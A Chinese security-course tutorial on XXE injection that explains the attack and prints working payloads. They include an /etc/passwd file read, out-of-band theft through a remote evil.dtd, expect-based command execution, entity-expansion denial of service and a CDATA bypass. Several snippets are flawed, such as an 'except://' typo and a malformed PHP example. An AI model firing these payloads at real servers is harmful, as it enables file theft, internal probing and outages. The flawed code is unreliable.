网络安全进阶学习第二十一课——XXE
文章目录
- 一、XXE简介
- 二、XXE原理
- 三、XXE危害
- 四、XXE如何寻找
- 五、XXE限制条件
- 六、XXE分类
- 七、XXE利用
- 1、读取任意文件
- 1.1、有回显
- 1.2、没有回显
- 2、命令执行`(情况相对较少见)`
- 3、内网探测/SSRF
- 4、拒绝服务攻击(DDoS)
- 4.1、内部实体
- 4.2、参数实体
- 八、绕过基本XXE攻击的限制
- 九、关联链接
- 1、XML介绍
- 2、靶场演示
一、XXE简介
XXE(XML External Entity,XML)外部实体
注入攻击。
二、XXE原理
— — 攻击者通过构造恶意的外部实体
,当解析器解析了包含“恶意”外部实体的XML类型文件时,便会导致被XXE攻击。XXE漏洞主要由于危险的外部实体引用并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目录遍历等。
这里是不是很像XSS注入
— — 在解析XML文档的过程中,关键字’SYSTEM’会告诉XML解析器,entityex 实体的值将从其后的URI中读取。实体entityex的值会被替换为URI(file://etc/passwd)内容值。(如下图)
— — 因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。
— — 简单来说,攻击者强制XML解析器去访问攻击者指定的本地系统上或是远程系统上的资源内容。
三、XXE危害
- 导致可加载恶意外部文件、读取任意未授权文件;
- 恶意消耗内存进行dos攻击,
- 探测内网信息(如检测服务、内网端口扫描、攻击内网网站等)
- 命令执行,目录遍历等
- 有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
四、XXE如何寻找
1、POST请求
2、MIME 文件传输格式为 XML
3、请求头中 Content-type: application/xml text/xml application/json
4、带有非常明显的xml标签的,即自定义的标签
5、利用DNSLog来验证是否存在XXE
将数据包改一下:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE value [
<!ENTITY xxe SYSTEM "http://yu7bis.dnslog.cn" >
]>
<value>&xxe;</value>ps:可以修改其Content-Type为application/xml,并尝试进行XXE注入
五、XXE限制条件
网站是否开启了外部实体解析
-
因素一:
libxml<2.9.0 版本 默认开启了外部实体解析 -
因素二:
网站管理员开启了外部实体解析 -
低版本php
libxml<2.9.1
设置了libxml_disable_entity_loader(禁用加载外部实体的能力)为FALSE
六、XXE分类
XXE的攻击方式分为显式攻击
和盲攻击
两种:
- 显式攻击是攻击者能通过正常的回显将外部实体里的内容读取出来。
- 盲攻击即不可见的回显,可利用参数实体将本地文件内容读出来后,作为URL中的参数向其指定服务器发起请求,然后在其指定服务器的日志中读出文件的内容。
现实中存在的大多数XXE漏洞都是blind,必须采用带外通道OOB(Out-of-band)进行返回信息的记录,这里简单来说就是攻击者必须有一台具有公网ip的主机。
七、XXE利用
1、读取任意文件
1.1、有回显
下面是XML.php内容:
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY[<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
访问XML.php可以读取etc/passwd文件内容
1.2、没有回显
当页面没有回显的话,可以将文件内容发送到远程服务器,然后读取。
下面是XML.php内容:
<?php
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[<!ENTITY % f SYSTEM "http://www.m03.com/evil.dtd">%f;
]>
<a>&b;</a>
$data = simplexml_load_string($xml);
print_r($data);
?>
下面是evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
2、命令执行(情况相对较少见)
php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装(正常人谁会去安装这东西啊,所以命令执行的情况相对较少见)
。
下面是XML.php内容:
<?php
$xml = <<<EOF
<? xml version = "1.0" ?>
<!DOCTYPE ANY[<!ENTITY f SYSTEM "except://ls">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>
3、内网探测/SSRF
由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。
4、拒绝服务攻击(DDoS)
通过创建一项递归的XML定义,在内存中生成十亿个“Ha! ”字符串,从而导致 DDos 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
4.1、内部实体
攻击代码如下:
<!DOCTYPE data [
<!ENTITY a0 "dos"><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" ><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"><!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" ><!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
]>
<data>&a4;</data>
上面代码相当于有1+10+10*10+10*10*10+10*10*10*10=11111
个实体引用,这里文件大小只有30kb,却超出了合法的实体引用数量上限。
4.2、参数实体
攻击代码如下:
<!DOCTYPE data SYSTEM "http://127.0.0.1/dos.dtd" [<!ELEMENT data (#PCDATA)>
]>
<data>&g;</data>
http://127.0.0.1/dos.dtd文件的内容:
<!ENTITY a0 "dos"><!ENTITY % a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;" ><!ENTITY % a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;"><!ENTITY % a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;" ><!ENTITY % a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;" >
<!ENTITY g "%a4;">
八、绕过基本XXE攻击的限制
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY % start "<![CDATA["><!ENTITY % goodies SYSTEM "file:///sys/power/image_size"><!ENTITY % end "]]>"><!ENTITY % dtd SYSTEM "http://publicServer.com/parameterEntity_core.dtd">%dtd;
]>
<data>&all;</data>
文件http://publicServer.com/parameterEntity_core.dtd的内容:
<!ENTITY all '%start;%goodies;%end;'>
这里是把XML语句拆成3个参数来绕过
九、关联链接
1、XML介绍
XML介绍
2、靶场演示
靶场演示
相关文章:

网络安全进阶学习第二十一课——XXE
文章目录 一、XXE简介二、XXE原理三、XXE危害四、XXE如何寻找五、XXE限制条件六、XXE分类七、XXE利用1、读取任意文件1.1、有回显1.2、没有回显 2、命令执行(情况相对较少见)3、内网探测/SSRF4、拒绝服务攻击(DDoS)4.1、内部实体4.2、参数实体 八、绕过基…...

如何将 ruby 打包类似于jdk在另一台相同架构的机器上面开箱即用
需求 目前工作中使用到了ruby作为java 项目的中转语言,但是部署ruby的时候由于环境的不同会出现安装依赖包失败的问题,如何找到一种开箱即用的方式类似于java 中的jdk内置jvm这种方式 解决 TruffleRuby 完美解决问题,TruffleRuby 是使用 T…...

vue封装独立组件:实现分格密码输入框/验证码输入框
目录 第一章 实现效果 第二章 核心实现思路 第三章 封装组件代码实现 第一章 实现效果 为了方便小编的父组件随便找了个页面演示的通过点击按钮,展示子组件密码输入的输入框通过点击子组件输入框获取焦点,然后输入验证码数字即可子组件的确定按钮是验…...
从2D圆形到3D椭圆
要将一个2D圆形转换成3D椭圆,我们需要使用CSS的transform属性和一些基本的几何知识。首先,让我们创建一个HTML元素,如下所 html <div class"circle"></div> 然后,使用CSS样式将其转换成3D椭圆 css .circ…...

Linux CentOS7.9安装OpenJDK17
Linux CentOS7.9安装OpenJDK17 一、OpenJDK下载 清华大学开源软件镜像站 国内的站点,下载速度贼快 二、上传解压 文件上传到服务器后,解压命令: tar -zxvf jdk-xxxx-linux-x64.tar.gz三、配置环境 export JAVA_HOME/home/local/java/j…...

计算机网络第4章-网络层(1)
引子 网络层能够被分解为两个相互作用的部分: 数据平面和控制平面。 网络层概述 路由器具有截断的协议栈,即没有网络层以上的部分。 如下图所示,是一个简单网络: 转发和路由选择:数据平面和控制平面 网络层的作用…...

单元测试学习
回顾测试理论基础 单元测试基础知识 什么是单元测试 单元测试流程、测试计划 测试策略设计、实现 单元测试 - 执行 HTML 报告生成 1 软件测试分类 目标 回顾测试理论知识-测试分类 1. 测 试分类 代码可见度上-划分分类: 1. 黑盒测试 2. 灰盒测试 3. …...

python编写接口测试文档(以豆瓣搜索为例)
📢专注于分享软件测试干货内容,欢迎点赞 👍 收藏 ⭐留言 📝 如有错误敬请指正!📢交流讨论:欢迎加入我们一起学习!📢资源分享:耗时200小时精选的「软件测试」资…...

C++查看Class类结构
cl指令 cl test.cpp /d1reportSingleClassLayout 类名 注意。上面指令是d1,1是数字1 , 不是字母l;...

appium如何连接多台设备
我们在做app自动化的时候,若要考虑兼容性问题,需要跑几台设备,要是一台一台的跑比较耗时,因此需要考虑使用多线程来同时操作多台设备。 1.我们拿两台设备来模拟操作下,使用:adb devices查看连接状况&#…...
VUE el-form组件不绑定model时进行校验
在el-form中如果要使用:rules规则校验时,需要在el-form标签绑定 :model 如何不绑定model而进行校验字段: 思路: 1.假设规则为非空判断 2.获取该字段,进行非空判断,记录该字段是否校验完成,添加到校验标识中 3.表单或数据提交时,判断校验标识 required 红星星 :error 提示项 …...

计算机视觉的监督学习与无监督学习
什么是监督学习? 监督学习是一种机器学习算法,它从一组已标记的 合成数据生成器中生成的训练数据中学习。这意味着数据科学家已经用正确的标签(例如,“猫”或“狗”)标记了训练集中的每个数据点,以便算法可…...
Linux-lvds接口
lvds接口 单6 单8 双6 双8...
Android 自定义View一
1.继承已有VIew,改写尺寸:重写onMeasure SquareImageView 2.完全自定义重写onMeasure 3.自定义Layout 重写onMeasure onLayout 1.继承已有VIew,改写尺寸:重写onMeasure 流程: 重写onMeasure 用getmeasureedWidth …...

11、电路综合-集总参数电路结构的S参数模型计算与Matlab
11、电路综合-集总参数电路结构的S参数模型 电路综合专栏的大纲如下: 网络综合和简化实频理论学习概述 前面介绍了许多微带线电路综合的实际案例,如: 3、电路综合原理与实践—单双端口理想微带线(伪)手算S参数与时域…...
计算机网络--真题
因特网上专门用于传输文件的协议是 因特网上专门用于传输文件的协议通常是 FTP(File Transfer Protocol)。FTP 是一种标准的网络协议,用于在计算机之间传输文件。它允许用户在客户端和服务器之间传输文件,上传文件到服务器或从服务…...

java毕业设计基于ssm的招聘求职网站
项目介绍 本前途招聘求职网站是针对目前仓库的实际需求,从实际工作出发,对过去的前途招聘求职网站存在的问题进行分析,完善用户的使用体会。采用计算机系统来管理信息,取代人工管理模式,查询便利,信息准确…...

【JavaEE初阶】 初识网络原理
文章目录 🌲网络发展史🚩独立模式🚩网络互连📌局域网LAN🎈基于网线直连🎈基于集线器组建🎈基于交换机组建🎈基于交换机和路由器组建 📌广域网WAN 🍀网络通信基…...
LeetCode题解:993. 二叉树的堂兄弟节点,BFS,JavaScript,详细注释
原题链接: https://leetcode.cn/problems/cousins-in-binary-tree/ 解题思路: 使用队列进行BFS搜索,同时保存每个节点,以及其深度和父节点信息。当搜索到x和y时,对比深度和父节点,如果满足要求࿰…...

在python中加载tensorflow-probability模块和numpy模块
目录 操作步骤: 注意: 问题: 解决办法: 操作步骤: 在虚拟环境的文件夹中,找到Scripts文件夹,点击进去,找到地址栏,在地址栏中输入cmd,进入如下界面。 输…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)
CSI-2 协议详细解析 (一) 1. CSI-2层定义(CSI-2 Layer Definitions) 分层结构 :CSI-2协议分为6层: 物理层(PHY Layer) : 定义电气特性、时钟机制和传输介质(导线&#…...

SCAU期末笔记 - 数据分析与数据挖掘题库解析
这门怎么题库答案不全啊日 来简单学一下子来 一、选择题(可多选) 将原始数据进行集成、变换、维度规约、数值规约是在以下哪个步骤的任务?(C) A. 频繁模式挖掘 B.分类和预测 C.数据预处理 D.数据流挖掘 A. 频繁模式挖掘:专注于发现数据中…...

vscode(仍待补充)
写于2025 6.9 主包将加入vscode这个更权威的圈子 vscode的基本使用 侧边栏 vscode还能连接ssh? debug时使用的launch文件 1.task.json {"tasks": [{"type": "cppbuild","label": "C/C: gcc.exe 生成活动文件"…...

关于iview组件中使用 table , 绑定序号分页后序号从1开始的解决方案
问题描述:iview使用table 中type: "index",分页之后 ,索引还是从1开始,试过绑定后台返回数据的id, 这种方法可行,就是后台返回数据的每个页面id都不完全是按照从1开始的升序,因此百度了下,找到了…...

ElasticSearch搜索引擎之倒排索引及其底层算法
文章目录 一、搜索引擎1、什么是搜索引擎?2、搜索引擎的分类3、常用的搜索引擎4、搜索引擎的特点二、倒排索引1、简介2、为什么倒排索引不用B+树1.创建时间长,文件大。2.其次,树深,IO次数可怕。3.索引可能会失效。4.精准度差。三. 倒排索引四、算法1、Term Index的算法2、 …...
重启Eureka集群中的节点,对已经注册的服务有什么影响
先看答案,如果正确地操作,重启Eureka集群中的节点,对已经注册的服务影响非常小,甚至可以做到无感知。 但如果操作不当,可能会引发短暂的服务发现问题。 下面我们从Eureka的核心工作原理来详细分析这个问题。 Eureka的…...

Reasoning over Uncertain Text by Generative Large Language Models
https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829https://ojs.aaai.org/index.php/AAAI/article/view/34674/36829 1. 概述 文本中的不确定性在许多语境中传达,从日常对话到特定领域的文档(例如医学文档)(Heritage 2013;Landmark、Gulbrandsen 和 Svenevei…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别
【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而,传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案,能够实现大范围覆盖并远程采集数据。尽管具备这些优势…...

【从零开始学习JVM | 第四篇】类加载器和双亲委派机制(高频面试题)
前言: 双亲委派机制对于面试这块来说非常重要,在实际开发中也是经常遇见需要打破双亲委派的需求,今天我们一起来探索一下什么是双亲委派机制,在此之前我们先介绍一下类的加载器。 目录 编辑 前言: 类加载器 1. …...

elementUI点击浏览table所选行数据查看文档
项目场景: table按照要求特定的数据变成按钮可以点击 解决方案: <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...